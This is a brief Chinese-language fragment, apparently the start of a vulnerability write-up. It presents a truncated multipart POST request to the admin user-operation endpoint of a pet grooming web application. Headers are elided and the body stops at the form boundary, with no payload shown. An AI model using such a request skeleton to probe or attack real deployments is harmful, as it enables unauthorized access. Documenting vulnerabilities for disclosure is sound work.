以下是关于页面中漏洞的关键信息，使用简洁的Markdown格式呈现： plaintext POST /pet/pet_grooming/admin/operation/user.php HTTP/1.1 Host: ... User-Agent: ... Accept: ... Content-Type: multipart/form-data; boundary=... Content-Length: 975 Origin: ... Referer: ... Cookie: ... Upgrade-Insecure-Requests: 1 Priority: u=0, i ------geckoformboundary...